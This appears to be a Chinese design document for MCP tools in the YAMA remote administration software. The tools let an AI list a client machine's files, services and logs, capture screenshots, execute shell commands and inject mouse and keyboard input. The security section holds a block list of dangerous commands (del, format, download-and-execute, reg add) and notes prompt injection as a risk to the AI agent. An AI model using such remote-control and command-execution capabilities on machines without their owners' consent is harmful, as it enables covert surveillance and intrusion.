- **客户端版本门槛**`get_activity_history` 依赖客户端 `2026-08-15`(提交 `29929e4`)加入的 `COMMAND_QUERY_ACTIVITY` 处理;更早的客户端(如 `Jul 14 2026`)不识别该命令、无响应,服务端 20s 超时返回 `-32001`——属预期行为,非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
**回滚**revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
### 6.3 P2c`get_screenshot` + `list_files`(模式 A / A✅ 已实现(待实机验证)
> 本节按实际实现修订:`get_screenshot` 是**主连接 RPC**(模式 A有 reqId 关联);`list_files` 是**一次性子链接**(模式 A——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关,列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A已纠正与 §4.2 对进程/窗口的同类纠正一致)。
**`get_screenshot`(屏幕预览链路,主连接 RPC模式 A**
- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)`common/commands.h:416-455`,单帧 JPEG`ScreenPreviewReq`/`ScreenPreviewRspHeader``ctx->Send2Client` 发请求、主连接回响应,**不建子链接、不弹框**。
- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`,不重复实现 `GetTargetQualityLevel`
- **可选 `max_width` 参数**:缺省/0 沿用缩略图档位(最大 10244K 源屏高档 1280`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`(客户端 `CaptureAndEncodePreview` 硬钳制),供 AI 视觉/OCR 场景请求接近原分辨率1080p 源屏传 1920 即原分辨率4K 源屏最多 1920`jpegQuality` 仍沿用档位自适应值。
- **请求关联**`ScreenPreviewReq.reqId` 提供关联MCP 用独立 16 位 reqId 发生器(`NextPreviewReqId`,跳过 0+ `SetPendingReqId` 登记期望值,`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应,过期/他途MFC 预览并发)响应原样回落到 MFC 路径。
- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004仅 Windows 客户端声明):非 Windows 主机返回 `-32005`「不支持」。
- 返回结构:`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`(元数据,不含 base64避免二次膨胀
**`list_files`(文件链路,一次性子链接,模式 A**
- 复用经典文件链路 `COMMAND_LIST_DRIVE``TOKEN_DRIVE_LIST``COMMAND_LIST_FILES``TOKEN_FILE_LIST`。**明确范围**:本阶段只做经典链路;项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输,均列为非目标。
- **两种调用形态**
- `path` 缺省/空(或 `.`/`/`/`\`)→ 只列盘:`COMMAND_LIST_DRIVE` 开子链接,`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链(与进程/窗口同构的 A
- `path` 指定目录 → 列目录:`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path``BuildListFiles` 已按客户端 ANSI 转好,`OnDriveList` 不再转),等 `TOKEN_FILE_LIST` 取走并关链。
- **编码**:盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定(与进程名/路径一致Windows 走 A 接口(`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等)= 客户端 ANSI(GBK/936)LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端(其文件名实为 GBK。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)``cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`
- **大列表保护**`ParseFileList(data, 500, cp)` 条目上限 500避免 JSON 响应过大。
- 返回结构:列盘 → `structuredContent.drives[]`;列目录 → `structuredContent.files[]``{name,isDir,size,mtime}`mtime 为 Unix 秒)。
**改动**
- `McpServer.h/.cpp`
- 挂起注册表扩展:`PendingRequest``path``expectedReqId` 字段;`BeginPending(devId, tool, path)` 重载,新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
- 解析器:`ParseDriveList``[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]``letter=='\0'` 终止)、`ParseFileList``[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`,空记录/上限 500 终止)。
- 工具:`get_screenshot`(模式 A`list_files`(模式 A注册 schema`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`)。
- `2015RemoteDlg.cpp``MessageHandle`(三处拦截):
- `TOKEN_SCREEN_PREVIEW_RSP`(主 context`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break**不 CancelIO**,主连接不可关)。
- `TOKEN_DRIVE_LIST`(子 context`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`(列盘关链、列目录不关)。
- `TOKEN_FILE_LIST`(子 context**新增 case**`if (IsPending) TakeMainResponse(...); CancelIO();`(无论命中都关孤儿子链接,防泄漏)。
**影响面**`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`,现有 MFC 文件管理/屏幕预览弹框路径不变。
**验收 / 实机验证点(待构建后执行)**
- MFC 双击文件管理弹框仍正常回归点MFC 双击预览缩略图仍正常(回归点)。
- MCP `get_screenshot` 返回 JPEGbase64 + 元数据Windows 主机正常;非 Windows 主机(或未声明 `CLIENT_CAP_SCREEN_PREVIEW`)返回 `-32005`
- MCP `list_files`(无 `path`)返回 `drives[]``list_files(path="C:\\")` 返回 `files[]`(含目录/文件/大小/mtime中文文件名无乱码条目 >500 时截断为 500。
- 错误路径:缺 `id`/非数字 `id``-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`
**回滚**revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
### 6.4 P2d`list_services` + `get_client_log`(模式 A只读感知扩展✅ 已实现并验证
> 本期新增两个**只读**感知工具,均走**一次性子链接**(模式 A复用 §4.4 挂起注册表,无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构:主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
**`list_services`(服务管理链路,一次性子链接,仅 Windows**
- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager``CServicesManager` **构造函数即** `SendServicesList()`(无需再下 `COMMAND_SERVICELIST` 刷新命令),在子链接上一次性回传 `TOKEN_SERVERLIST`
- **记录格式**`ServicesManager.cpp::GetServicesList``[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`,尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**`displayName` 在前、`serviceName` 在后;源码注释「真实名称/显示名称」标注相反,勿据注释判断)。`runWay`/`autoRun` 为英文枚举串(`Stopped/Running/Paused/…``Boot-Start/Auto-Start/Demand-Start/Disabled/…`)。
- **编码**:字段全部来自 Windows A 接口(`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI按 clientType 判定 `cp`(与进程/文件一致);仅 Windows 客户端实现(`EnumServicesStatus` 为 Windows-onlyLNX/MAC 主机提前返回 `-32005`
- 返回结构:`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`
**`get_client_log`(客户端运行日志,一次性子链接取首条全量)**
- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager``CClientLogManager` 构造函数 `SendLogDump()``m_sentIdx=0` 返回**全量**),并启动 push 线程**每 3s 推增量**。
- **关键语义**`TOKEN_REPORT_LOG` 会**多次**到达(全量 + 每 3s 增量。MCP 只取**首条全量**`MessageHandle``IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接,后续增量不再到达(与 MFC 日志对话框「持续接收增量、不关链」的路径区分)。
- **日志内容**YAMA 客户端**自身运行时日志**`Logger` 内存 ring buffer最近最多 1000 条,含 `[pid][时间戳] [文件:行号] 消息`**非** Windows 系统日志。
- **编码**:日志文本为客户端 ANSIWindows 走 `vsnprintf` A 版),按 clientType 判定 `cp``data[0]=token` 后为无 `'\0'` 终止的原始字节,需先 `std::string` 包装再 `ToUtf8``ToUtf8` 内部以 `-1` 读 null 终止串)。
- 返回结构:`structuredContent.log = "<原始日志文本>"`
**改动**
- `McpServer.h/.cpp`
- 解析器 `ParseServiceList`5 字段记录,有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止)。
- schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`inputSchema 复用 `BuildGetHostDetailInputSchema``{ id }`)。
- 工具 `BuildListServices`(发 `COMMAND_SERVICES`LNX/MAC 提前 `-32005`)、`BuildGetClientLog`(发 `COMMAND_QUERY_LOG`)。
- `2015RemoteDlg.cpp``MessageHandle`(两处拦截):
- `TOKEN_SERVERLIST`(子 context`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(一次性,取走即关)。
- `TOKEN_REPORT_LOG`(子 context`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(取首条全量即关,停止 3s 增量)。
**影响面**`MessageHandle` 仅新增两个 `if` 分支;非 MCP 触发时 `IsPending` 为假MFC 服务管理弹框与日志对话框路径不变(回归点)。
**验收 / 实机验证点**
- MFC 双击「服务管理」弹框仍正常回归点MFC 打开「客户端运行日志」对话框仍正常、增量持续追加(回归点)。
- MCP `list_services` 对 Windows 主机返回 `services[]`,中文显示名/路径无乱码,`status`/`start_type` 为英文枚举;对 LNX/MAC 主机返回 `-32005`
- MCP `get_client_log` 返回 `log` 文本快照UTF-8中文日志无乱码空日志返回空 `log`
- 错误路径:缺 `id`/非数字 `id``-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`
**验证记录**2026-08-19真实在线主机实测
- `list_services`Windows 11 EXE 主机「Essential / VCU」返回 255 个服务,字段序(显示名→服务名→路径→状态→启动类型)正确,`status`/`start_type` 英文枚举、路径完整。
- `get_client_log`(同上主机):返回 510 行 / 40309 字节全量快照,`[pid][时间戳][文件:行号]` 格式正确中文日志「启动运行」「任务已存在」「打开注册表失败错误码2」等GBK→UTF-8 转码全部正确。
- 错误路径实测LNX 主机 `list_services``-32005`;缺/非法 `id``-32602`;离线 → `-32002`
- **客户端版本门槛**`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG``CClientLogManager` 日志回传链路(服务端下发命令无响应),属版本/实现门槛,非 MCP 缺陷(与 §6.2 `get_activity_history` 对老客户端超时同类)。`list_services` 因服务为 Windows-only`EnumServicesStatus`),已对 LNX/MAC 提前 `-32005`,不受此门槛影响。
**回滚**revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
### 6.5 P3a`exec_command`(模式 B写操作评审后实施
**改动**:复刻 Web 终端链路§4.3),把 `m_TermPending` 换成 MCP 自己的挂起标记:
-`COMMAND_SHELL``TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
**完成判据(本工具最难的半截,必须定死)**:交互 shell 没有「命令结束」信号,采用**哨兵方案**
```
实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
收集端: 持续累积 TOKEN_SHELL_DATA直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
取出退出码,剥离哨兵行,返回 stdout
```
`<nonce>` 随机,避免命令自身输出误命中哨兵;整体受 `McpToolTimeoutMs` 兜底(超时强制关链 + 返回错误)。
**前置安全评审**(见 §8通过后才实施。
**验收**`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码;白名单外命令被拒绝并审计;超时/离线返回明确错误MFC 终端弹框不受影响。
---
## 7. 「新增工具」标准配方(可复用流程)
后续任何人新增一个工具,按以下 6 步走:
1. **定协议与模式**:确认复用哪个 `COMMAND_*``TOKEN_*` 链路,判定是模式 A主连接 RPC、A0单向命令还是 B子链接流式写进 §5.1 表格。
2. **定 schema**:在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`description 用 `u8"..."`,见 §10
3. **加 dispatch**:在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
4. **实现数据通路**
- 纯内存/现成字段 → 直接实现,不进 `MessageHandle`
- 模式 A0单向命令→ 直接 `Send2Client` 后返回,无需挂起/超时。
- 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*``if (IsPending) TakeMainResponse`IO 线程同步拷贝,**不 CancelIO**)。
- 模式 A → 同模式 A但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
- 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*``if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
5. **超时与清理**:带超时、迟到回收、用完即关(模式 B每 host 单飞行§4.5)。
6. **验收与回滚**:写 §11 的 DoD 清单,确认回归点(对应 MFC 弹框路径不变)。
---
## 8. 安全与权限模型演进
| 阶段 | 鉴权 | 授权 |
|------|------|------|
| P1/P2 | 单一静态 Bearer token | 全部只读token 即授权 |
| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档;写操作要求完整 token 且限定可访问分组 |
| P4 | (如需)会话级授权 | 会话内临时授权 |
**P3 进入前必须评审的三条边界:**
1. **命令白名单**`exec_command` 默认只放行只读命令(`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等);危险命令(`del`/`format`/下载执行/`reg add`)需显式放行或直接拒绝。
2. **审计日志**:每次写操作记录 `host_id + tool + 参数 + token 来源env/CFG+ 时间`,写 `Mprintf` + 日志文件。
3. **分组授权(新增)**写工具必须限定「token 能操作哪些主机/分组」,**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**`WebService.cpp:1852-1877`),而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令,越过了 Web 侧已有的分组隔离。
> 设计底线MCP 的写能力与 Web 远程桌面同等级敏感,任何写工具都要按「可控、可审、可关、可分组隔离」交付,不允许「开了 MCP 就能无脑执行任意命令」。
---
## 9. 配置与开关扩展
延续 Phase 1 的配置风格(`settings` 段 + env 覆盖 + `UIBranding` 开关):
> **配置存储位置(重要)**`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings``2015Remote.cpp:238` 的 `#else` 分支 `new iniFile``settings.ini` 仅在 **Debug 版**`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`)才读,否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框写注册表或直接改注册表手改 `settings.ini` 对 Release 无效。
| 配置键 | 默认 | 说明 |
|--------|------|------|
| `McpEnabled` | 0 | 总开关(已有) |
| `McpPort` | 6544 | 端口(已有) |
| `McpBind` | 127.0.0.1 | 绑定(已有) |
| `McpToken` | 空 | 静态 token已有 |
| `McpReadonly` | 1 | **P3 新增**1=仅只读工具0=开放写工具(配合完整 token |
| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**`exec_command` 白名单(分号分隔) |
| `McpToolTimeoutMs` | 20000 | **P2b 新增**:数据等待超时(当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`,未接配置) |
新增写能力时,`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位,保持「品牌定制可裁剪」的既有约定。
---
## 10. 编码 / 兼容性规范
- **UTF-8 输出**:所有进入 JSON 的字符串用 `u8"..."` 前缀(项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK。已在 `list_online_hosts``description` 中验证,服务端输出正确 UTF-8。
- **JSON 转义**jsoncpp 会把非 ASCII 输出为 `\uXXXX`,这是合法 JSON客户端解析即还原无需处理。
- **客户端能力位**:依赖客户端能力的工具(如 `get_screenshot``CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`)必须先查能力位,不支持则返回明确错误而非空结果。
- **id 一致性**:工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源(`context::GetClientID()` 的 uint64可直接回填 `FindHost(uint64_t)`;仅接受**在线**主机的 id离线返回明确错误。
- **版本兼容**:子链接命令/结构体(`common/commands.h`**禁止改动既有字段**MCP 只消费既有协议,不新增命令(原则 2
- **MBCS 构建**:新增 UI 文案走 `_TR()` + lang iniGBK与 Phase 1 一致。
---
## 11. 验收标准Definition of Done
每个工具交付时,以下全部满足才算完成:
- [ ] `tools/list` 返回该工具及完整 schema。
- [ ] 正常输入返回正确结构化结果。
- [ ] 非法输入(错 id / 缺参数 / 设备离线 / 不支持能力)返回**明确的 JSON-RPC 错误码**,不崩溃、不挂死。
- [ ] 数据获取有超时、迟到回收;模式 B 用完即关(无会话泄漏)。
- [ ] 每 host 单飞行:同 host 并发请求被拒绝而非串扰。
- [ ] **回归点**:对应 MFC 弹框/Web 路径行为不变(非 MCP 触发时不受影响)。
- [ ] 编码正确UTF-8中文无乱码
- [ ] 写操作工具附带白名单/审计/分组授权(仅 P3
- [ ] 无新增第三方库。
---
## 12. 风险与回滚
| 风险 | 缓解 |
|------|------|
| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一;`if (IsPending)` 仅在 MCP 触发时成立,其余路径原样 |
| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝,不等异步 |
| 无请求 id 的工具响应串扰 | 每 host 单飞行§4.4MCP 与 MFC 各用独立子链接互不占位§4.2 |
| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受;文档显式声明,未来并发改「任务+轮询」§4.5 |
| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
| 写操作越权 | P3 前三道评审边界(白名单/审计/分组授权)+ `McpReadonly` 默认 1 |
| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期,每期独立合入/验收/回滚 |
| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
**回滚策略**:每期改动集中在一两个文件(`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支),出错 revert 当期 commit 即可,不影响已交付的 P1。
---
## 附:建议执行顺序
1. **P2a**`search_hosts` + `get_host_detail`)✅ ——纯内存、零风险,已实现,验证「多工具 dispatch」模式。
2. **P2b**`list_processes` + `list_windows` + `get_activity_history`)✅ ——首次引入**模式 A 一次性子链接**(进程/窗口)与**模式 A 主连接 RPC**(历史活动)无头接管,把 §4.2/§4.2 的机制跑通并沉淀成 §7 配方。
3. **P2c**`get_screenshot` 走屏幕预览链路 + `list_files`)✅ ——补上「看」的能力,仍是只读(`get_screenshot` 模式 A、`list_files` 模式 A
4. **P2d**`list_services` + `get_client_log`)✅ ——补上「看服务 / 看日志」的感知能力,仍是只读(均为模式 A复用 P2b/P2c 的一次性子链接机制)。
5. **P3a**`exec_command`)——首次引入**模式 B 子链接流式**,在 P2 的挂起机制成熟后,走完安全评审再落地写操作。
每完成一期即提交、验收,再进入下一期,保持「有序、平稳、循序渐进」。

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# MCP 远程控制Remote Control设计文档
> 版本v1设计基线 状态待开发 关联`docs/Mcp_Design.md`、`docs/Mcp_Terminal_Design.md`
> 定位本文件是「AI 远程控制一台 Windows 客户端(像人一样点鼠标、敲键盘、看画面完成任务)」功能的**唯一参照设计**,后续开发一律以本文为准,改需求先改本文。
---
## 1. 背景与目标
### 1.1 问题
现有 MCP 工具只能做「文本/命令行」层面的操作(`exec_command` 一次性命令、`terminal_*` 持久终端、`list_files`/`get_screenshot` 等只读)。很多真实任务只能在 **GUI 上完成**:点按钮、填表单、拖拽窗口、操作只有图形界面的软件。
AI 无法「看懂」视频流。把 25fps 的远程画面直接丢给视觉模型是行不通的——每秒 25 张、每张数十万像素,海量且绝大部分帧对决策无用。
### 1.2 目标
提供一组 MCP 工具,让 AI 以**「截图 → 观察 → 决策 → 注入单个输入动作 → 等待 → 重复」**的闭环驱动远程桌面:
- **Observe**按需取一帧解码后的位图JPEG按视觉模型能力缩放到合适尺寸。
- **Act**:注入鼠标/键盘事件,复用现有远程桌面的输入注入链路。
- **Decide**:由 AI/宿主Claude Code / 任何 MCP 客户端)在工具返回结果之上编排循环——**YAMA 只提供原语,不提供黑盒 `perform_task`**(与终端设计同一哲学)。
### 1.3 关键设计决策(已确认)
| # | 决策 | 理由 |
|---|---|---|
| D1 | **截图驱动,非视频流** | 每次决策一张图38s/步;视觉模型天然面向静态图 |
| D2 | **原语 + AI 编排,非黑盒任务** | 可控、可审、可中断AI 在循环外可插判断/确认 |
| D3 | **归一化坐标0..1** | 彻底规避「截图缩放 vs 注入物理像素」的比例错位(最佳实践第一大坑) |
| D4 | **复用现有注入链路** | `COMMAND_SCREEN_CONTROL` + `MSG64` + 客户端 `SendInput` 已成熟 |
| D5 | **Observe 复用 `get_screenshot`** | 主连接按需抓 JPEG无需常驻子连接最省 |
| D6 | **独立开关 + 全程审计** | 与终端同级:`McpRemoteControl=1 && McpReadonly=0`,默认关 |
---
## 2. 行业最佳实践借鉴
本节是「科学设计」的依据,逐条落到下文对应章节。主要参考 Anthropic 官方 Computer Use / Browser Use 最佳实践与参考实现(见文末「参考」)。
| 最佳实践 | 本设计落地 |
|---|---|
| 视觉模型是「规划者+眼睛」,宿主是「手」;工具调用=动作,返回=截图 | §3 循环归属YAMA=手AI=规划者 |
| **客户端先自行缩图**,绝不让模型 API 静默缩放(否则坐标系统性偏移) | §5客户端按 `max_width` 缩图后 JPEG 回传,模型见到的就是声明尺寸 |
| 声明 `display_width/height` 必须 == 实际发送的图尺寸 | §7归一化坐标服务器侧映射物理像素不依赖声明尺寸 |
| 动作原语集合move/click/drag/scroll/type/key/…) | §4`remote_mouse`/`remote_keyboard` 的动作枚举对齐 |
| 文本指令放在截图**之前**(内容顺序) | §8/宿主侧建议:由 MCP 客户端保证,本文仅记录 |
| 缩图上限:长边 ~1568px、总像素 ~1.15MPClaude 4.6 系);推荐 1280×720 | §5.3`max_width` 默认建议 1280可配 |
| 输入注入 vs 高危动作不可逆操作应人工确认human-in-the-loop | §9.4:审计 + 宿主确认YAMA 不做每动作确认(防延迟) |
| 提示注入是首要风险(模型处理不可信 UI 文本) | §9.5:全审计 + 只读关才可用 + 建议宿主隔离 |
| 长会话上下文管理(滚动缓冲/压缩) | §3宿主职责本文提示 |
---
## 3. 总体架构
```
┌──────────────────── 宿主Claude Code / MCP 客户端)────────────────────┐
│ 系统提示(含远程控制约定) + 任务文本 │
│ ↓ │
│ ┌──────────────────────── 智能体循环 ─────────────────────────┐ │
│ │ get_screenshot(max_width) ──→ 视觉模型看图 ──→ 决策 ──→ │ │
│ │ remote_mouse/remote_keyboard(归一化坐标/文本) ──→ 等待0.52s │ │
│ │ 循环,直到任务完成或模型判定需用户介入 │ │
│ └────────────────────────────────────────────────────────────┘ │
└───────────────────────────────┬───────────────────────────────────────┘
│ JSON-RPC over HTTP POST /mcp (Bearer)
┌───────────────────────────────▼───────────────────────────────────────┐
│ YAMA 服务器McpServer.cpp
│ · get_screenshotCOMMAND_SCREEN_PREVIEW_REQ → 客户端缩图 JPEG │
│ · remote_openCOMMAND_SCREEN_SPY → 建立屏幕子连接(控制会话) │
│ · remote_mouse/remote_keyboard归一化→物理像素 → MSG64 → │
│ COMMAND_SCREEN_CONTROL经屏幕子连接
└───────────────────────────────┬───────────────────────────────────────┘
│ 主连接(控制)+ 屏幕子连接(注入)
┌───────────────────────────────▼───────────────────────────────────────┐
│ 客户端ClientDll / ScreenManager / ScreenPreview
│ · CaptureAndEncodePreview抓主屏 + StretchBlt 缩图 + JPEG │
│ · ScreenManager.ProcessCommand解码 MSG64 → SendInput │
└───────────────────────────────────────────────────────────────────────┘
```
**核心事实(已核实,见 §13 源码索引)**
- **Observe** 走**主连接**、无子连接、无需控制模式:`COMMAND_SCREEN_PREVIEW_REQ`(247) → 客户端抓主屏缩图 JPEG → `TOKEN_SCREEN_PREVIEW_RSP`(248)。现有 `get_screenshot` 已完整实现。
- **Act注入必须走屏幕子连接**`COMMAND_SCREEN_CONTROL`(20) 只能经 `COMMAND_SCREEN_SPY`(16) 建立的子连接发送(`hub.go` 注释input events MUST go through the sub-connection。故需要一个 `remote_open` 建立/持有该子连接。
- 服务器端同时维护一张**原始 BGRA 32bpp DIB**`m_BitmapData_Full`),但 MCP 的 `get_screenshot` **不使用**它——它拿的是客户端已编码的 JPEG。两者坐标空间不同见 §7。
---
## 4. 工具集设计
### 4.1 工具清单
| 工具 | 作用 | 入参required 标注) | 出参 |
|---|---|---|---|
| `get_screenshot`**已有,复用** | Observe | `id`;可选 `max_width`(64..1920) | JPEG 图片(见 §5 |
| `remote_open` | 建立控制会话(屏幕子连接) | `id`;可选 `timeout_ms` | `session_id`(32hex)、`screen_w`/`screen_h`(物理虚拟桌面像素) |
| `remote_close` | 关闭会话 | `id``session_id` | `closed`(bool) |
| `remote_mouse` | 注入鼠标 | `id``session_id``action``x``y`+ 按 action 需 `x2`/`y2`/`button`/`delta`/`clicks` | `{}`(成功即空对象) |
| `remote_keyboard` | 注入键盘 | `id``session_id``action`+ 按 action 需 `text`/`key`/`modifiers` | `{}` |
> 命名对齐现有 `terminal_*`open/exec/closeObserve 沿用 `get_screenshot` 避免重复造轮子。鼠标/键盘各一个工具、用 `action` 枚举区分具体动作——既对齐 Anthropic 的 `computer` 工具动作集,又贴合现有 `WebService::HandleMouse/HandleKey` 的「鼠标/键盘分家」实现。
### 4.2 `remote_mouse` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `move` | `x`,`y` | 移动光标(不按键) |
| `down` | `x`,`y`,`button`(left/middle/right) | 按下 |
| `up` | `x`,`y`,`button` | 抬起 |
| `click` | `x`,`y`,`button`(默认 left)、`clicks`(1/2/3默认 1) | 单击/双击/三击 |
| `right_click` | `x`,`y` | 右键(`click` 的便捷别名) |
| `middle_click` | `x`,`y` | 中键 |
| `drag` | `x`,`y`,`x2`,`y2`,`button`(默认 left) | 从 (x,y) 拖到 (x2,y2) |
| `scroll` | `x`,`y`,`delta`(+/- 滚动量)、`button`(可选,垂直默认) | 滚轮 |
### 4.3 `remote_keyboard` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `type` | `text` | 输入一串文本(字符级映射,非粘贴) |
| `key_down` | `key``modifiers`(可选) | 按下组合键(如 `Ctrl`+`C` |
| `key_up` | `key``modifiers`(可选) | 抬起 |
| `key_press` | `key``modifiers`(可选) | 按下并抬起(最常用) |
`key` 取值对齐 Windows 虚拟键名(`VK_*` 去掉前缀,如 `ENTER`/`TAB`/`F5`/`LEFT`)与常见修饰键 `CTRL`/`ALT`/`SHIFT`/`WIN``type` 文本中的字符经客户端 `VkKeyScan`/Unicode 注入映射为键盘事件(非剪贴板粘贴,保证焦点内输入)。
### 4.4 可选/扩展工具(`remote_clipboard`、`remote_focus_window` 为 §17 代聊实验所需,建议随阶段一落地)
- `remote_clipboard`写远程剪贴板UTF-8→Unicode非 ASCII 文本输入的关键路径;复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8 逻辑或新增 UTF-8 设剪贴板命令§6.4)。
- `remote_focus_window``COMMAND_SCREEN_WINDOW`(153) / 客户端 `SetForegroundWindow`,把焦点给到指定窗口(配合 `list_windows``hwnd`);代聊第一步。
- `remote_cursor_position`:读当前光标(`TOKEN_NEXTSCREEN` 帧头已带 `POINT cursor`)。
- `remote_screenshot`(会话内/窗口抓屏):从子连接 DIB 服务端缩图,或按窗口抓取(`COMMAND_SCREEN_WINDOW`供高分辨率读聊天文字与多显示器场景§12 阶段二、§17
---
## 5. 屏幕捕获与编码Observe
### 5.1 现有链路(复用)
`get_screenshot``McpServer.cpp` `BuildGetScreenshot`~1597已实现
1. `ParseHostIdArg``FindMainContext` → 能力门 `ctx->SupportsScreenPreview()``CLIENT_CAP_SCREEN_PREVIEW`,不支持 → `-32005`)。
2. `BeginPending(devId,"get_screenshot")` 设备级互斥(忙 → `-32003`)。
3. `reqId = NextPreviewReqId()``SetPendingReqId(devId, reqId)`stale-drop 机制)。
4. `parent->ChooseScreenPreviewParams(...)` 按 RTT/FRP 自适应缩图档位 + `max_width` 覆盖clamp 64..1920)。
5. `SendScreenPreviewRequest``COMMAND_SCREEN_PREVIEW_REQ`
6. `WaitPending``[ScreenPreviewRspHeader][JPEG]`,校验 `status==OK && format==JPEG`
7. base64 JPEG 返回:`structuredContent.image = {mimeType:"image/jpeg", width, height, bytes}``content=[{type:"image", data:<base64>, mimeType:"image/jpeg"}]`
客户端 `CaptureAndEncodePreview``client/ScreenPreview.cpp:107`)抓**主屏** + `StretchBlt`(HALFTONE) 缩图 + GDI+ `Bitmap::Save` JPEG——**位图永不离开客户端,只回传 JPEG**。
### 5.2 缩放策略(对齐最佳实践 D5
- 缩图在**客户端**完成(`max_width` 长边约束),服务器/MCP 宿主**不再二次缩放**,模型看到的就是声明尺寸——避免「模型 API 静默缩放导致坐标漂移」这个头号坑。
- `max_width` 由宿主按视觉模型能力显式传入YAMA 提供**默认建议 1280**(长边),上限维持 1920。
### 5.3 推荐参数
| 项 | 建议值 | 说明 |
|---|---|---|
